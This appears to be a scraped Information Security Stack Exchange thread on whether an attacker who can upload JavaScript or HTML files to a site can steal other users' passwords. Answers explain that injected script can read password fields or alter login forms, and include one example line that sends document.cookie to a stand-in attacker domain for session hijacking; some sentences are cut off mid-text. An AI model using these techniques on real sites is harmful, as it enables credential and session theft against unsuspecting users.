Is it true that if an attacker has the possibility to upload any
.js files, then he can get a password of another user?
Please explain how to do it.
Information Security Stack Exchange is a question and answer site for information security professionals. It only takes a minute to sign up.Sign up to join this community
Depends how you store passwords. If you store the passwords as plaintext the yes it is a trivial job for anyone with write access to a web server to obtain the plaintext password. If however you store the passwords via a one-way hash using a procedure such as sha3 it becomes more difficult for an attacker. They would have to find a string to put into the procedure such that the output is the same as the given hash. It was estimated that doing this with an earlier version of sha (sha1) would cost about USD2k on the Amazon cloud platform.
Yes, this is a huge security hole. Lets say you discovered this on
example.com. How do you exploit it?
example.comto claim your free prize!" When the victim visit the site, she notice that everything lookas as it always does - even the EV certificate checks out. So surely everything must be allright! She enters her login credentials.
Please note that this is not a case of the victim being gullible, since she is actually on the right site and not a phishing mirror like
eksample.com. Still, if you don't want to rely on any action from the victim other than following the link, you could still easily steal session cookies (unless they are HTTP-only).
Is it true that if an attacker has the possibility to upload any .html and .js files, then he can get a password of another user?
If the attacked can upload those onto the server? Yes. It is trivial to read the password field with JS. Then encode the password as a URL to a domain controlled by the attacker and shove it into
He could easily write something like
<img src="www.evilwebsite.com/+document.cookie" />
this steals the session ID of any user who visits the page and allows the attacker to hijack the session. Allowing him to impersonate the compromised users.
He could also just edit any login form to also send the login details to the attacker's website or webservice.